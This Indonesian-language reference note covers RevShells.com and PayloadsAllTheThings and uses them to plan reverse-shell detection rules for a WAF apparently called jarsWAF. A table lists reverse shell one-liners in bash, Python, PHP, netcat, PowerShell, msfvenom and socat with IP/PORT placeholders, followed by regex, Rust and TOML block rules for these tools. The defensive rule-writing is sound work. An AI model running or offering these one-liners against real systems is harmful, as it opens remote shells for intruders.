Sumber Daya

RevShells.com — Reverse Shell Generator online: tool interaktif untuk generate payload reverse shell dalam berbagai format (bash, Python, PHP, Netcat, MSFVenom, socat, telnet, dll). PayloadsAllTheThings — Repositori GitHub komprehensif berisi payload dan teknik bypass untuk web application security testing. Keduanya adalah referensi penting untuk memahami attack surface yang harus dideteksi oleh WAF.

Cross-link: ctf-tool-arsenal-universalweb-hacking-exploitationwaf-reverse-proxy-deepdivecommand-injectionexploit-developmenthierarchy-offensive


RevShells.com

URL

https://www.revshells.com/

Deskripsi

Generator reverse shell online yang menyediakan payload dalam 20+ format berbeda. Cukup masukkan IP dan port, pilih tipe shell, dan dapatkan command siap pakai.

Format Payload yang Tersedia

KategoriContohDeteksi WAF
Bashbash -i >& /dev/tcp/IP/PORT 0>&1Base64 encoded version lebih sulit dideteksi
Pythonpython -c 'import socket...'socket, subprocess, pty dalam body
PHPphp -r '$sock=fsockopen(IP,PORT);...'fsockopen, exec, shell_exec
Netcatnc -e /bin/sh IP PORTnc -e, ncat
PowerShellpowershell -NoP -NonI -W Hidden -Exec Bypass -Command ...-EncodedCommand, IEX, DownloadString
MSFVenommsfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elfBinary payload — harder to detect via regex
Socatsocat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:IP:PORTsocat + exec + TCP/UDP
Telnet`telnet IP PORT/bin/bash

Pola Deteksi untuk WAF

# Bash reverse shell
bash.*/dev/tcp/|bash.*/dev/udp/
# Python reverse shell
python.*socket.*connect|python.*subprocess.*bash|python.*pty.*spawn
# PHP reverse shell
fsockopen\s*\(|php.*exec.*sh|php.*shell_exec
# Netcat
\bnc\b.*\-e\s*/bin/|ncat.*--exec
# PowerShell encoded
-EncodedCommand\s|IEX\s*\(.*New-Object.*Net.*WebClient
# Socat
socat.*exec.*tcp

PayloadsAllTheThings

URL

https://github.com/swisskyrepo/PayloadsAllTheThings

Deskripsi

Repositori komprehensif (79.5K stars) berisi payload dan teknik bypass untuk penetration testing web. Setiap kategori memiliki README.md, file untuk Burp Intruder, dan gambar penjelasan.

Struktur Kategori

KategoriRelevansi WAFImplementasi di jarsWAF
SQL InjectionTinggi — berbagai teknik bypass filtersrc/rules/sql_injection.rs
Command InjectionTinggi — OOB, blind, encodedsrc/rules/body.rs (CMDI-001/002)
XSS InjectionTinggi — polyglot, dom-basedsrc/rules/evasion.rs
File Inclusion (LFI/RFI)Tinggi — path traversal + wrappersrc/rules/headers.rs
Server Side Request ForgerySedang — SSRF via URL parsingsrc/rules/api.rs
Server Side Template InjectionTinggi — RCE via template enginesrc/rules/body.rs (SSTI-001/002)
Reverse Proxy MisconfigTinggi — smuggling, bypasssrc/rules/body.rs (SMUGGLE-001/002)
Upload Insecure FilesTinggi — webshell, extension bypasssrc/rules/body.rs (UPLOAD-001/002/003)
XXE InjectionTinggi — blind OOB XXEsrc/rules/body.rs (XXE-001/002)
JWT AttacksSedang — alg confusion, kid injectionsrc/rules/api_security.rs
Prototype PollutionRendah — JavaScript-specificBelum ada
NoSQL InjectionSedang — MongoDB payloadBelum ada
GraphQL InjectionSedang — introspection, batchingsrc/rules/graphql.rs
Web Cache DeceptionRendahBelum ada

Implementasi di jarsWAF

Reverse Shell Detection — Baru

Berdasarkan pola dari RevShells.com dan PayloadsAllTheThings, rule baru untuk deteksi reverse shell:

static REVSHELL_BASH: Lazy<Regex> = Lazy::new(|| {
    Regex::new(r#"(?i)(bash.*\/dev\/tcp\/|bash.*\/dev\/udp\/)"#).unwrap()
});
 
static REVSHELL_PYTHON: Lazy<Regex> = Lazy::new(|| {
    Regex::new(r#"(?i)(python.*socket\.(SOCK_STREAM|connect)|python.*subprocess\..*(bash|sh|cmd)|pty\.spawn)"#).unwrap()
});
 
static REVSHELL_PHP: Lazy<Regex> = Lazy::new(|| {
    Regex::new(r#"(?i)(fsockopen\s*\(|php.*exec\s*\(.*(bash|sh)|shell_exec\s*\(.*(bash|sh))"#).unwrap()
});
 
static REVSHELL_POWERSHELL: Lazy<Regex> = Lazy::new(|| {
    Regex::new(r#"(?i)(-EncodedCommand\s|IEX\s*\(.*New-Object.*Net\.(WebClient|WebRequest)|DownloadString\s*\(.*(bash|sh|exe|ps1))"#).unwrap()
});

Rule Plan untuk jarsWAF

# plugins/revshell-rules.toml (custom rule format)
[[rule]]
id = "REVSHELL-001"
name = "Reverse Shell — Bash /dev/tcp"
phase = "body"
action = "block"
severity = "critical"
description = "Detect Bash reverse shell using /dev/tcp or /dev/udp"
condition_type = "body"
operator = "regex"
condition_value = "(?i)(bash.*\\/dev\\/tcp\\/|bash.*\\/dev\\/udp\\/)"
 
[[rule]]
id = "REVSHELL-002"
name = "Reverse Shell — Python socket/subprocess"
phase = "body"
action = "block"
severity = "critical"
description = "Detect Python reverse shell via socket or subprocess"
condition_type = "body"
operator = "regex"
condition_value = "(?i)(python.*socket\\.(SOCK_STREAM|connect)|pty\\.spawn|subprocess\\..*(bash|sh))"
 
[[rule]]
id = "REVSHELL-003"
name = "Reverse Shell — PHP fsockopen/exec"
phase = "body"
action = "block"
severity = "critical"
description = "Detect PHP reverse shell via fsockopen or exec"
condition_type = "body"
operator = "regex"
condition_value = "(?i)(fsockopen\\s*\\(|shell_exec\\s*\\(.*(bash|sh))"

Checklist Integrasi jarsWAF

  • Reverse shell patterns (bash, python, php, powershell, netcat)
  • Webshell detection
  • SSRF patterns from PAT
  • NoSQL injection
  • Prototype pollution
  • WebSocket attack detection

Referensi

Cross-link vault: